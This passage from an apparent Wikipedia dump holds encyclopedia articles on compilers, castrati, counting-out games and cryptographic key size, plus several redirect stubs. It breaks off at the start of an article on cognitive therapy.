A compiler is likely to perform many or all of the following operations: [[lexer|lexing]], [[preprocessor|preprocessing]], [[parser|parsing]], [[semantic analysis (computer science)|semantic analysis]], [[compiler optimization|code optimizations]], and [[code generation]].

==History==
Early computers did not use compilers, because they had just a few opcodes and little memory and users entered binary machine code directly.

In late [[1940s]], programmers found that the tedious machine code could be denoted using some mnemonics ([[assembly language]]) and computers could translate those mnemonics into machine code. The primitive compiler, [[assembler]], emerged.

During the [[1950s]], machine-dependent assembly languages were still not ideal for programmers and high level, machine-independent programming languages evolved. Subsequently, several experimental compilers were developed then (see, for example, the seminal work by [[Grace Hopper]] on the [[A-0]] language), but the [[Fortran|FORTRAN]]&lt;!-- ###here (only), upper-case FORTRAN is correct, as it was the name used at the time, and on IBM's early compilers ###--&gt; team led by [[John Backus]] at [[IBM]] is generally credited as having introduced the first complete compiler, in [[1957]]. [[COBOL]] was an early language to be compiled on multiple architectures, in [[1960]]. [http://www.interesting-people.org/archives/interesting-people/199706/msg00011.html]

The idea of compilation quickly caught on, and most of the principles of compiler design were developed during the [[1960s]].

With the evolution of [[programming language]]s and the increasing power of computers, compilers are becoming more and more complex to bridge the gap between problem-solving modern programming languages and the various computer systems, aiming at get the highest performance out of the target machines.

A compiler is itself a computer program written in some ''implementation language''. Early compilers were written in [[Assembler|assembly language]]. The first ''self-hosting'' compiler &amp;mdash; capable of compiling its own source code in a high-level language &amp;mdash; was created for [[Lisp programming language|Lisp]] by Hart and Levin at [[Massachusetts Institute of Technology|MIT]] in [[1962]] [http://www.ai.mit.edu/research/publications/browse/0000browse.shtml].
The use of high-level languages for writing compilers gained added impetus in the early [[1970s]] when Pascal and C compilers were written in their own languages. Building a self-hosting compiler is a [[bootstrapping (compilers)|bootstrapping]] problem -- the first such compiler for a language must be compiled either by a compiler written in a different language, or (as in Hart and Levin's Lisp compiler) compiled by running the compiler in an interpreter.

Compiler construction and [[compiler optimization]] are taught at universities as part of the [[computer science]] curriculum. Such courses are usually supplemented with the implementation of a compiler for an [[educational programming language]]. A well documented example is the [[PL/0]] [http://www.246.dk/pl0.html compiler], which was originally used by [[Niklaus Wirth]] for teaching compiler construction in the [[1970s]]. In spite of its simplicity, the [[PL/0]] [http://www.246.dk/pl0.html compiler] introduced several concepts to the field which have since become established educational standards:

# The use of [http://www.acm.org/classics/dec95/ Program Development by Stepwise Refinement]
# The use of a [[Recursive descent parser]]
# The use of [[EBNF]] to specify the syntax of a language
# The use of [[P-Code]] during generation of portable output code
# The use of T-diagrams for the formal description of the [[bootstrapping (compilers)|bootstrapping]] problem

==Types of compilers==
There are many ways to classfy compilers according to the input and output, internal structure, and runtime behavior. For example,
* A program that translates from a low level language to a higher level one is a ''[[decompiler]]''.  
* A program that translates between high-level languages is usually called a ''language translator'', ''source to source translator'', ''language converter'', or ''language [[rewriting|rewriter]]'' (this last term is usually applied to translations that do not involve a change of language)

===Native versus cross compiler===
Most compilers are classified as either native compilers or cross compilers.

A compiler may produce binary output intended to run on the same type of computer and operating system (&quot;[[platform (computing)|platform]]&quot;) as the compiler itself runs on. This is sometimes called a native-code compiler. Alternatively, it might produce binary output designed to run on a different platform. This is known as a [[cross compiler]]. Cross compilers are very useful when bringing up a new hardware platform for the first time (see [[bootstrapping]]). Cross compilers are also necessary when developing software for [[microcontroller]] systems that have barely enough storage for the final machine code, much less a compiler.  Compilers which are capable of producing both native and foreign binary output may be called either a cross compiler or a native compiler depending on a specific use, although it would be more correct to classify them as a cross compilers.

Interpreters are never classified as native or cross compilers, because they do not output a binary representation of their input code.

[[Virtual machine]] (VM) compilers are typically not classified as either native or cross compilers.  However, if need be, they can be classified as one or the other, especially in the less usual cases where a compiler is running inside the same VM (making it a native compiler), or where a compiler is capable of producing an output for several different platforms, including a VM (making it a cross compiler).

===One-pass versus multi-pass compilers===
Classifying compilers by number of passes has its background in the hardware resource limitations of computers.  Compling involves performing lots of work and early computers did not have enough memory to contain one program that did all of this work.  So compilers were split up into smaller programs which each made a pass over the source (or some representation of it) performing some of the required analysis and translations.

The abillity to compile in a [[one-pass_compiler|single pass]] is often seen as a benefit because it simplifies the job of writing a compiler and one pass compilers are generally faster than [[multi-pass compiler]]s.  Many languages were designed so that they could be compiled in a single pass (e.g., the [[Pascal programming language]]).

In some cases the design of a language feature may require a compiler to perform more than one pass over the source.  For instance, when a declaration appearing on line 20 of the source affects the translation of the statement appearing on line 10; the first pass needs to gather information about declarations appearing after statements that they affect, with the actual translation happening during a second pass.

The disadvantage of compiling in a single pass is that it is not possible to perform many of the sophisticated [[compiler optimization|optimizations]] needed to generate high quality code.  It can be difficult to count exactly how many passes an optimizing compiler makes.  For instance, different phases of optimization may analyse one expression many times but only analyse another expression once.

Splitting a compiler up into small programs is a technique used by researchers interested in producing provably correct compilers.  Proving the correctness of a set of small programs often requiring less effort than proving the correctness of a larger, single, equivalent program.

While the typical multi-pass compiler outputs machine code from its final pass, there are several other types:

*A &quot;[[source-to-source compiler]]&quot; is a type of compiler that takes a high level language as its input and outputs a high level language.  For example, an automatic parallelizing compiler will frequently take in a high level language program as an input and then transform the code and annotate it with parallel code annotations (e.g. [[OpenMP]]) or language constructs (e.g. Fortran's &lt;code&gt;DOALL&lt;/code&gt; statements).
*[[Stage compiler]] that compiles to assembly language of a theoretical machine, like some [[Prolog]] implementations
**This Prolog machine is also known as the [[Warren Abstract Machine]] (or WAM). Byte-code compilers for Java, [[Python_language | Python]] (and many more) are also a subtype of this.
*[[Just-in-time compilation|Just-in-time compiler]], used by Smalltalk and Java systems, and also by Microsoft .Net's [[Common Intermediate Language]] (CIL)
**Applications are delivered in [[bytecode]], which is compiled to native machine code just prior to execution.

===Compiled versus interpreted languages===
Many people divide higher-level programming languages into [[compiled language]]s and [[interpreted language]]s. However, there is rarely anything about a language that requires it to be compiled or interpreted. Compilers and interpreters are ''implementations'' of languages, not languages themselves. The categorization usually reflects the most popular or widespread implementations of a language -- for instance, BASIC is thought of as an interpreted language, and C a compiled one, despite the existence of BASIC compilers and C interpreters.

There are exceptions; some language specifications assume the use of a compiler (as with C), or spell out that implementations must include a compilation facility (as with Common Lisp). Some languages have features that are very easy to implement in an interpreter, but make writing a compiler much harder; for example, [[SNOBOL4]], and many scripting languages are capable of constructing arbitrary source code at runtime with regular string operations, and then executing that code by passing it to a special evaluation function. To implement these features in a compiled language, programs must usually be shipped with a runtime environment that includes the compiler itself.

==Compiler design==
The approach taken to compiler design is affected by the complexity of the processing that needs to be done, the experience of the person(s) designing it, and the resources (eg, people and tools) available.

A compiler for a relatively simply language written by one person might be a single, monolithic, piece of software.  When the source language is large and complex, and high quality output is required the design may be split into a number of relatively independent phases, or passes.  Having separate phases means development can be parcelled up into small parts and given to different people.  It also becomes much easier to replace a single phase by an improved one, or to insert new phases later (eg, additional optimizations).

The division of the compilation processes in phases (or passes) was championed by the [[Production Quality Compiler-Compiler Project]] (PQCC) at [[Carnegie Mellon]] University.  This project introduced the terms ''front end'', ''middle end'' (rarely heard today), and ''back end''.

All but the smallest of compilers have more than two phases.  However, these phases are usually regarded as being part of the front end or the back end.  The point at where these two ''ends'' meet is always open to debate.  The front end is generally considered to be where syntactic and semantic processing takes place, along with translation to a lower level of representation (than source code).  The back end takes the output from the front end, performs more analysis and transformations and generates code. 

This front/back end approach also makes it possible to combine front ends for different [[programming language|languages]] with back ends for different [[cpu]]s.

==Front end==
The front end analyses the source code to build an internal representation of the program, called the [[intermediate representation]] or ''IR''.  It also manages the [[symbol table]], a data structure mapping each symbol in the source code to associated information such as location, type and scope.  This is done over several phases:

#[[Preprocessor|Preprocessing]].  Some languages, e.g., [[C language|C]], require a preprocessing phase to do things such as conditional compilation and [[macro]] substitution.  In the case of C the preprocessing phase includes lexical analysis.
#[[Lexical analysis]] breaks the source code text into small pieces called ''tokens''.  Each token is a single atomic unit of the language, for instance a [[keyword]], [[identifier]] or [[symbol|symbol name]].  The token syntax is typically a [[regular language]], so a [[finite state automaton]] constructed from a [[regular expression]] can be used to recognize it.  This phase is also called lexing or scanning, and the software doing lexical analysis is called a [[lexical analyzer]] or scanner.
#[[Syntax analysis]] involves [[parsing]] the token sequence to identify the syntactic structure of the program.
#[[Semantic analysis (computer science)|Semantic analysis]] is the phase that checks the ''meaning'' of the program to ensure it obeys the rules of the language.  One example is type checking.  The compiler emits most diagnostics during semantic analysis, and frequently combines it with syntax analysis.

==Back end==
The term of ''Back end'' is sometime confused with ''code generator'' for the overlapped functionality of generating assembly code. Some literature use ''Middle end'' to distinguish the generic analysis and optimization phases in the back end from the machine dependent code generators. 

The work in back end is done in multiple steps:
#[[Compiler analysis]] - This is the process to gather program information from the intermediate representation of the input source files. Typical analysis are variable define-use and [[use-define chain]], [[dependence analysis]], [[alias analysis]] etc. Accurate analysis is the base for any compiler optimizations. The [[call graph]] and [[control flow graph]] are usually also built during the analysis phase.
#[[Compiler optimization|Optimization]] - the intermediate language representation is transformed into functionally equivalent but faster (or smaller) forms. Popular optimizations are [[inline expansion]], [[dead code elimination]], [[constant propagation]], [[loop transformation]], [[register allocation]] or even [[auto parallelization]].
#[[Code generation]] - the transformed intermediate language is translated into the output language, usually the native [[machine language]] of the system. This involves resource and storage decisions, such as deciding which variables to fit into registers and memory and the selection and scheduling of appropriate machine instructions along with their associated addressing modes (see also Sethi-Ullman algorithm).

Compiler analysis is the prerequisite for any compiler optimization and they tightly work together. For example, [[dependence analysis]] is crucial for [[loop transformation]]. 

In addition, the scope of compiler analysis and optimization vary greatly, from as small as a [[basic block]] to the procedure/function level, or even over the whole program ([[interprocedural optimization]]). Obviously, a compiler can potentially do a better job using a broader view. But that broad view is not free: large scope analysis and optimizations are very costly in terms of compilation time and memory space; this is especially true for interprocedural analysis and optimizations.

The existence of interprocedural analysis and optimization is common in modern commercial compilers from [[SGI]], [[Intel]], [[Microsoft]], and [[Sun Microsystems]]. The open source [[GNU Compiler Collection | GCC]] was criticized for a long time for lacking powerful interprocedural optimizations, but it is changing in this respect. Another good open source compiler with full analysis and optimization infrastructure is [[Open64]], which is used by many organizations for research and commercial purposes.

Due to the extra time and space needed for compiler analysis and optimization, most compilers choose to skip them by default. Users have to use compilation options to explicitly tell the compiler which optimizations should be enabled.
&lt;!--==runtime system==--&gt;

==Notes== 
#{{note label|passes|1|a}}A ''pass'' has also been known as a ''parse'' in some textbooks. The idea is that the source code is ''parsed'' by gradual, iterative refinement to produce the completely translated object code at the end of the process. There is, however, some dispute over the general use of ''parse'' for all those phases (passes), since some of them, e.g. object code generation, are arguably not regarded to be parsing as such.

==References==
*''[[Compilers: Principles, Techniques and Tools]]'' by [[Alfred V. Aho]], [[Ravi Sethi]], and [[Jeffrey D. Ullman]] (ISBN 0201100886) is considered to be the standard authority on compiler basics(undergraudate level), and makes a good primer for the techniques mentioned above.  (It is often called the '''''Dragon Book''''' because of the picture on its cover showing a Knight of Programming fighting the Dragon of Compiler Design.) [http://www.aw.com/catalog/academic/product/0,4096,0201100886,00.html link to publisher]
* ''Advanced Compiler Design and Implementation'' by [[Steven Muchnick]] (ISBN: 1558603204). One of the widely-used text books for advanced compiler courses(graudate level). 
*''Understanding and Writing Compilers: A Do It Yourself Guide'' (ISBN 0333217322) by [[Richard Bornat]] is an unusually helpful book, being one of the few that adequately explains the recursive generation of machine instructions from a parse-tree. Having learnt his subject in the early days of mainframes and minicomputers, the author has many useful insights that more recent books often fail to convey.
* ''An Overview of the Production Quality Compiler-Compiler Project'' by Leverett, Cattel, Hobbs, Newcomer, Reiner, Schatz and Wulf. Computer 13(8):38-49
August 1980
== See also ==
* [[Compiler optimization]]
** [[Loop nest optimization]]
* [[Compiler analysis]]
* [[Assembler]]
* [[Compiler construction]]
* Interpreters:
** [[Interpreter (computer software)|Interpreter software]]
** [[Abstract interpretation]]
* [[Linker]]
* [[Parsing]]:
** [[Top-down parsing]]
** [[Bottom-up parsing]]
** [[Attribute grammar]]
* [[Semantic analysis (computer science)|Semantic analysis]]
** [[Semantics encoding]]
* [[Error avalanche]]
* [[Decompiler]]
* [[Just-in-time compiler]]
* [[Meta-Compilation]]
* [[Preprocessor]]
* [[Parallel compilers]]
* [[List of important publications in computer science#Compilers| Important publications in compilers]] for [[programming language]]s
* [[Hardware compilation]]

== External links ==
{{Wikibookspar||Compiler construction}}
* [http://codepedia.com/compile What is &quot;compile&quot;?] from the developer's encyclopedia
&lt;!-- delink dev-pedia for the time being --&gt;
* [http://www.kegel.com/crosstool/ Building and Testing gcc/glibc cross toolchains]
* [http://citeseer.ist.psu.edu/cs?q=compiler Citations from CiteSeer]
* [http://compilers.iecc.com/ The comp.compilers newsgroup and RSS feed]
* [http://compilers.iecc.com/crenshaw/ ''Let's Build a Compiler'' by Jack Crenshaw (1988 to 1995)] &quot;a non-technical introduction to compiler construction&quot;
* [http://www.gtoal.com/software/CompilersOneOhOne Simple compiler source] from the &quot;[http://groups.yahoo.com/group/compilers101/ Compilers 101]&quot; group.  One page, easy to follow.
* [http://www.tutorial-reports.com/computer-science/parallel-compiler/ Parallel Compilers]

[[Category:Compilers|*]]
[[Category:Computer science]]

[[af:Vertalerkonstruksie]]
[[ast:Compilador]]
[[bg:Компилатор]]
[[ca:Compilador]]
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[[tr:Derleyici]]
[[vi:Trình biên dịch]]
[[zh:编译器]]
[[ta:நிரல்மொழிமாற்றி]]</text>
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  <page>
    <title>Monetary policy of central banks</title>
    <id>5741</id>
    <revision>
      <id>17892100</id>
      <timestamp>2005-06-30T13:12:43Z</timestamp>
      <contributor>
        <username>Elfguy</username>
        <id>269251</id>
      </contributor>
      <minor />
      <comment>merged and redirected</comment>
      <text xml:space="preserve">#REDIRECT [[Monetary policy]]</text>
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  </page>
  <page>
    <title>Castrato</title>
    <id>5742</id>
    <revision>
      <id>41976388</id>
      <timestamp>2006-03-03T00:13:45Z</timestamp>
      <contributor>
        <ip>84.70.10.50</ip>
      </contributor>
      <text xml:space="preserve">{{Vocal range}}
A '''castrato''' is a male [[soprano]], [[mezzo-soprano]], or [[alto (voice)|alto]] [[human voice|voice]] produced either by [[castration]] of the [[singer]] before [[puberty]] or who, because of an [[endicrinology|endocrinological]] condition, never reaches sexual maturity. Therefore, their voices never deepen.

This practice began in the [[16th century]]. Due to [[Catholicism]]'s traditional ban on females singing in church, castrati were employed as church singers.  The first castrati appeared in Western Europe in chapel choirs. In the late 1550s, the Duke of Ferrara had castrati in his chapel choir, the Munich court chapel from 1574 and in 1599 the Papal (Sistine) Chapel choir was formally described as having castrati. Elsewhere in Europe, castrati were in Württemburg from 1610, Vienna from 1637 and about a decade later in Dresden. In an official Bull of 1589, Pope Sixtus V approved the recruitment of castrati for the choir of St. Peter. Often times, the term &quot;Castrato&quot; was used to define the high register created by the young men who sang the Castrato style. The typical register of a Castrato was above that of a &quot;normal&quot; soprano voice, resulting in the creation of a temporary range in Italian music which was regarded as above or superior to traditional soprano. The practice reached its peak in [[17th century|17th]] and [[18th century]] [[opera]].  It is known as castratism.  70 percent of opera singers of the [[Baroque music|Baroque]] period were castrati. The male heroic lead would often be written for a castrato singer (in the operas of [[George Friderich Handel|Handel]] for example). When such operas are performed today, a woman or [[countertenor]] takes these roles. However, some Baroque [[opera]]s with parts for castrati are so complex and difficult that they cannot be performed today.

Castration before puberty (or in its early stages) prevents the boy's [[larynx]] from being fully transformed by the normal physiological effects of puberty. As a result, the vocal range of prepubescence (shared by boys and girls) is largely retained, and the voice develops into adulthood in a unique way. As the castrato's body grows (especially in [[lung]] capacity and [[muscle|muscular]] strength), and as his musical training and maturity increase, his voice develops a range, power and flexibility quite different from the singing voice of the adult female, but also markedly different from the higher vocal ranges of the uncastrated adult male (see [[soprano]], [[mezzo-soprano]], [[alto (voice)|alto]], [[sopranista]] and [[contralto]]).

An exibition documenting the journey of young boys into Castrati and revealing details of the lives of some of the most famous singers is about to open in London [http://www.handelhouse.org/events_exhibitions.shtml Castrati Exhibition].

Probably the most famous castrato was the [[18th century]] singer Carlo Broschi, known as [[Farinelli]]. In [[1994]] a [[film]] was made about him, ''[[Farinelli Il Castrato]]''. 

In [[1870]] the practice of castrating promising young singers (or castratism) was outlawed in [[Italy]], the last country where it was still in custom. In 1902, Pope Leo XIII pronounced a decree which banned the use of castrati in church music forever. The last of the castrati to leave the Chapel choir after this decree was Alessandro Moreschi, who departed in 1913. 

The only acknowledged castrato to make [[phonograph]] recordings was [[Alessandro Moreschi]], the last surviving castrato of the [[Pope]]'s choir. Moreschi recorded [[gramophone record]]s for the [[Gramophone &amp; Typewriter Company]] in [[1902]] and again in [[1904]] (the recording is on an external website)[http://www.archive.org/details/AlessandroMoreschi].  Critical opinion is divided about Moreschi's recordings; some say they are of little interest other than the novelty of preserving the voice of a castrato for Moreschi was a mediocre singer, while other critics detect the remains of a quite talented singer who was unfortunately past his prime by the time he recorded.

In more modern times, [[Ugo Farell]] has been suspected of being a castrato. 

There have also been reported cases of so-called &quot;natural castrati&quot; who were born with [[hormone|hormonal]] disorders that reproduce the above &quot;desired&quot; effects of castration without the surgeon's knife. [[Radu Marian]] and [[Jorge Cano]] stand out as extraordinary &quot;natural castrati&quot; gifted talents at present providing us with the opportunity to appreciate the full power of their voices, which incarnate the past castrati.  

Some uncastrated male singers are able to use their voices up into the soprano register, apparently without the use of the [[falsetto]] voice, and are known as [[sopranista]]s. There are very few such singers performing today. Sopranistas are also able to perform some music which was written for castrati, and composers such as [[Rossini]] wrote parts specifically for sopranista.

Castration was by no means a guarantee of a promising career. During the 16th, 17th and 18th centuries, only approximately 1% of castrated or partially castrated boys developed into successful singers. 

== Popular references ==

* [[Anne Rice]]'s novel ''[[Cry to Heaven]]'', although a [[romantic novel]], is said to be based upon solid research and notwithstanding the novelization, captures a strong sense of the training, and world, of castrati singers in [[18th Century]] [[Venice]] and [[Naples]].

==Famous castrati==

The most celebrated of the castrati singers were (in chronological order):
*[[Baldassare Ferri]] ([[1610]]&amp;ndash;[[1680]])
*Antonio Maria [[Bernacchi]] ([[1685]]&amp;ndash;[[1756]])
*Francesco Bernardi [[Senesino]] (c.1685&amp;ndash;c.[[1759]])
*Carlo Broschi [[Farinelli]] ([[1705]]&amp;ndash;[[1782]])
*Gaetano Majorano [[Caffarelli]] ([[1710]]&amp;ndash;[[1783]])
*[[Giovanni Manzuoli]] ([[1720]]&amp;ndash;[[1782]])
*[[Gaetano Guadagni]] ([[1725]]&amp;ndash;[[1792]])
*[[Gasparo Pacchierotti]] ([[1740]]&amp;ndash;[[1821]])
*[[Luigi Marchesi]] ([[1754]]&amp;ndash;[[1829]])
*[[Girolamo Crescentini]] ([[1762]]&amp;ndash;[[1848]])
*[[Giovanni Velluti]] ([[1781]]&amp;ndash;[[1861]])

==External references==
*[http://www.handelhouse.org/events_exhibitions.shtml Castrati Exhibition]
*[http://www.archive.org/details/AlessandroMoreschi 1904 Recording of Alessandro Moreschi singing ''[[Ave Maria]]'']
*[http://www.cix.co.uk/~velluti/cast.htm All you wanted to know about Castrati]
*[http://www.usrf.org/news/010308-castrati.html Castrati of Italy]

==See also==
* [[Eunuch]]


[[Category:Castrati|*]]
[[Category:Opera terminology]]

[[da:Kastrat]]
[[de:Kastrat]]
[[es:Castrato]]
[[fr:Castrat]]
[[ko:거세가수]]
[[nl:Castraat]]
[[ja:カストラート]]
[[pl:Kastrat]]
[[pt:Castrato]]
[[sv:Kastratsångare]]
[[zh:阉伶]]</text>
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  <page>
    <title>Counting-out game</title>
    <id>5743</id>
    <revision>
      <id>42106762</id>
      <timestamp>2006-03-03T21:44:49Z</timestamp>
      <contributor>
        <username>Miko Stavrev</username>
        <id>786852</id>
      </contributor>
      <minor />
      <text xml:space="preserve">A '''counting-out [[game]]''' is a simple game intended to select a person to be &quot;it&quot;, often for the purpose of playing another game. Some counting-out games are
* [[Rock, Paper, Scissors]]
* [[Odd or Even]]
* Coin flipping
* Drawing straws - player with the shortest straw loses.
* Buzz

Many such games involve one person pointing at each participant in a circle of players while reciting a [[rhyme]]. A new person is pointed at as each word is said. The player who is selected at the conclusion of the rhyme is &quot;it&quot; or &quot;out&quot;.  In an alternate version, the circle of players may each put two feet in and at the conclusion of the rhyme, that player removes one foot and the rhyme starts over with the next person. In this case, the first player that has both feet removed is &quot;it&quot; or &quot;out&quot;.  These are often accepted as [[random]] selections because the number of words has not been calculated beforehand, so the result is unknown right up until someone is selected.

==Some common rhymes==
*[[Eeny, meeny, miny, moe]]
*[[Tea Cup Saucer Out]]
*[[Tinker, Tailor]] - Traditionally played in [[England]].
* [[One potato, two potato]] - players may start with both fists (to resemble potatoes) in, so have to be got twice to be out.
:One potato, two potato
:Three potato, four,
:Five potato, six potato,
:Seven potato, more,
:One big bad spud.
*Ink-a-bink (Last two lines added if the chooser happens to like the person singled out by the &quot;stink&quot;)
:Ink-a-bink
:A bottle of ink
:Cork fell out and you stink
:My mother told me to pick the very best one and
:You are not it
*[[Bubblegum, Bubblegum]]
:Bubblegum, bubblegum,
:In a dish,
:How many pieces,
:Do you wish?
Whomever the rhyme ends with chooses a number, and that many &quot;pieces&quot; are counted. The person on whom the last number falls is out.
*[[Inky Binky Bonky]]
:Inky binky bonky,
:Daddy had a donkey,
:Donkey died, daddy cried,
:Inky binky bonky.

==External links==
[http://mtcn.free.fr/mtcn-traditional-music-midi-counting-rhyme.php  Counting rhymes and other songs for counting in traditional music from county of Nice, France].

[[Category:Folklore]]
[[Category:Nursery rhymes]]

[[bg:Броенка]]
[[de:Abzählreim]]
[[fr:Formulette d'élimination]]
[[lt:Skaičiuotė]]
[[wa:Potaedje (ås djeus d' efants)]]</text>
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  <page>
    <title>Cryptography/Hashfunction</title>
    <id>5746</id>
    <revision>
      <id>15903943</id>
      <timestamp>2002-05-20T21:42:53Z</timestamp>
      <contributor>
        <username>Brion VIBBER</username>
        <id>51</id>
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      <minor />
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      <text xml:space="preserve">#REDIRECT [[Hash function]]</text>
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  <page>
    <title>Cryptography/Key</title>
    <id>5747</id>
    <revision>
      <id>15903944</id>
      <timestamp>2004-03-18T13:55:03Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
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      <minor />
      <comment>#REDIRECT [[Key (cryptography)]]</comment>
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  <page>
    <title>Key size</title>
    <id>5749</id>
    <revision>
      <id>41362623</id>
      <timestamp>2006-02-26T21:34:32Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">In [[cryptography]], the '''key size''' (alternatively '''key length''') is a measure of the number of possible [[key (cryptography)|key]]s which can be used in a [[cipher]]. Because modern cryptography uses binary keys, the length is usually specified in [[bit]]s. The length of a key is critical in determining the susceptibility of a [[cipher]] to [[brute force attack|exhaustive search attacks]].

==Significance==
[[Key (cryptography)|Key]]s are used to control the operation of a [[cipher]] so that only the correct key can convert encrypted text ([[ciphertext]]) to [[plaintext]]. Many ciphers are based on publicly known [[algorithm]]s or are [[open source]], and so it is only the difficulty of obtaining the key that determines security of the system, provided that there is no analytic attack (i.e., a 'structural weakness' in the algorithms or protocols used), and assuming that the key is not otherwise available (such as via theft, extortion, or compromise of computer systems). The widely accepted notion that the security of the system should depend on the key alone has been explicitly formulated by [[Auguste Kerckhoffs]] (in the [[1880s]]) and [[Claude Shannon]] (in the [[1940s]]); the statements are known as [[Kerckhoffs' law]] and Shannon's Maxim respectively. 

A key should therefore be large enough that a [[brute force attack]] (possible against any encryption algorithm) is infeasible &amp;ndash; i.e, would take too long to execute. [[Claude Shannon|Shannon]]'s work on [[information theory]] showed that to achieve perfect secrecy, it is necessary for the key length to be at least as large as the message to be transmitted. In light of this, and the practical difficulty of managing such long keys, modern cryptographic practice has discarded the notion of perfect secrecy as a requirement for encryption, and instead focuses on ''computational security''. Under this definition, the computational requirements of breaking an encrypted text must be infeasible for an attacker.

The [[preferred numbers]] commonly used as key sizes (in bits) are powers of two, potentially multiplied with a small odd integer.

==Brute force attack==
''Main article: [[Brute force attack]]''

Even if a cipher is unbreakable by exploiting structural weaknesses in the algorithm, it is possible to run through the entire space of keys in what is known as a ''brute force attack''. Since longer keys require more work to brute force search, a long enough key will require more work than is feasible. Thus, length of the key is important in resisting this type of attack.

A key of length ''n'' (bits) means that there are 2&lt;sup&gt;n&lt;/sup&gt; possible keys. This number grows extremely rapidly as ''n'' increases. [[Moore's law]] suggests that computing power doubles roughly every 18 months, but even this doubling effect leaves the key lengths currently considered acceptable well out of reach.  Large numbers like the 2&lt;sup&gt;128&lt;/sup&gt; operations required to try all possible 128-bit keys will be [[Large numbers#Large numbers and computers|out of reach]] for all of mankind's conventional computing power for the foreseeable future.

==Symmetric algorithm key lengths==
US Government export policy has long [[Export of cryptography|restricted the 'strength' of cryptography]] which can be sent out of the country. For many years the limit was [[40-bit encryption|40 bits]]. Today, a key length of 40 bits offers little protection against even a casual attacker with a single PC. The restrictions have not been removed (it is still illegal to export some cryptographic products), but the limit was effectively raised to 128-bit key lengths in [[1999]]/[[2000]].

When the [[Data Encryption Standard]] cipher was released in [[1977]], a key length of 56 bits was thought to be sufficient (though there was speculation at the time that the [[National Security Agency|NSA]] has deliberately reduced the key size from the original value of 112 bits, in IBM's [[Lucifer (cipher)|Lucifer cipher]], or 64 bits, in one of the versions of what was adopted as DES) so as to limit the 'strength' of encryption available to non-US users. The NSA has major computing resources and a large budget; some thought that 56 bits was NSA-breakable in the late '70s. However, by the late 90s, it became clear that DES could be cracked in a few days' time-frame with custom-built hardware such as could be purchased by a large corporation. The book ''Cracking DES'' (O'Reilly and Associates) tells of the successful attempt to break 56-bit DES by a brute force attack mounted by a cyber civil rights group with limited resources; see [[EFF DES cracker]].  56 bits is now considered insufficient length for symmetric algorithm keys, and may have been for some time. More technically and financially capable organizations were surely able to do the same long before the effort described in the book.  [[Distributed.net]] and its volunteers broke a 64-bit RC5 key in several years, using about seventy thousand (mostly home) computers.  

The [[NSA]]'s [[Skipjack (cipher)|Skipjack]] algorithm used in its [[Fortezza]] program employs 80 bit keys.

DES has been replaced in many applications by triple DES or [[3DES]], which has 112 bits of security with 168-bit keys.

The [[Advanced Encryption Standard]] published in [[2001]] uses a key size of (at minimum) 128 bits. It also can use keys up to 256 bits (a specification requirement for submissions to the [[AES contest]]). 128 bits is currently thought, by many observers, to be sufficient for the foreseeable future for symmetric algorithms of AES's quality. The U.S. Government requires 192 or 256-bit AES keys for TOP SECRET data.

In 2003 the U.S. National Institute for Standards and Technology, [[NIST]], proposed that 80-bit keys should be phased out by 2015. As of 2005, 80-bit keys are allowed to be used only until 2010.

==Asymmetric algorithm key lengths==
The effectiveness of [[public key cryptography|public key cryptosystems]] depends on the intractability (computational and theoretical) of certain mathematical problems such as [[integer factorization]]. These problems are time consuming to solve, but usually faster than trying all possible keys by brute force.  Thus, asymmetric algorithm keys must be longer for equivalent resistance to attack than symmetric algorithm keys. As of [[2002]], a key length of 1024 bits was generally considered the minimum necessary for the [[RSA]] encryption algorithm. 

As of [[2003]] [[RSA Security]] claims that 1024-bit RSA keys are equivalent in strength to 80-bit symmetric keys, 2048-bit RSA keys to 112-bit symmetric keys and 3072-bit RSA keys to 128-bit symmetric keys. RSA claims that 1024-bit keys are sufficient until [[2010]] and that 2048-bit keys are sufficient until [[2030]]. An RSA key length of 3072 bits should be used if security is required beyond 2030.  [[NIST]] key management guidelines further suggest that 15360-bit RSA keys are equivalent in strength to 256-bit symmetric keys.

One of the asymmetric algorithm types, [[elliptic curve cryptography]], or ECC, appears to be secure with shorter keys than those needed by other asymmetric key algorithms. [[NIST]] guidelines state that ECC keys should twice the length of equivalent strength symmetric key algorithms. So, for example, a 224-bit ECC key would have roughly the same strength as a 112-bit symmetric key. These estimates assume no major breakthroughs in solving the underlying mathematical problems that ECC is based on. A message encrypted with an elliptic key algorithm using a 109-bit long key has been broken by brute force.

==References==
* [http://csrc.nist.gov/publications/nistpubs/800-57/SP800-57-Part1.pdf ''Recomendation for Key Management &amp;mdash; Part 1: general,''] NIST Special Publication 800-57. August, 2005
* Blaze, Matt; Diffie, Whitfield; Rivest, Ronald L.; et. al. &quot;Minimal Key Lengths for Symmetric Ciphers to Provide Adequate Commercial Security&quot;. January, 1996
* Arjen K. Lenstra, Eric R. Verheul: Selecting Cryptographic Key Sizes. J. Cryptology 14(4): 255-293 (2001) &amp;mdash; [http://citeseer.ist.psu.edu/lenstra99selecting.html Citeseer link]

==External links==
* [http://www.keylength.com/ www.keylength.com: An online keylength calculator]
* [http://www.giac.org/practical/gsec/Lorraine_Williams_GSEC.pdf A discussion on the importance of key length] ([[Portable Document Format|PDF]] file), available also in [[PostScript]] and other [[format]]s
* NIST [http://csrc.nist.gov/CryptoToolkit/ crypto toolkit]
* The [[FreeS/WAN]] project's [http://www.freeswan.org/freeswan_trees/freeswan-2.06/doc/politics.html#shortkeys  discussion of key length]
* Burt Kaliski: [http://www.rsasecurity.com/rsalabs/node.asp?id=2004 TWIRL and RSA key sizes] (May 2003)

[[Category:Key management]]

[[it:Dimensione chiave]]</text>
    </revision>
  </page>
  <page>
    <title>Cognitive therapy</title>
    <id>5750</id>
    <revision>
      <id>41777478</id>
      <timestamp>2006-03-01T17:58:09Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <minor />
      <comment>/* Cognitive behavioral therapy */</comment>
      <text xml:space="preserve">:''This article is about cognitive therapy. For the behaviorist technique, see [[behavior modification]].''
{{psychology}}

{{split}}

'''Cognitive therapy''' or '''cognitive behavior therapy''' is a kind of [[psychotherapy]] used to treat [[Clinical depression|depression]], [[anxiety disorder]]s, [[phobia]]s, and other forms of [[psychological disorder|mental disorder]]. 

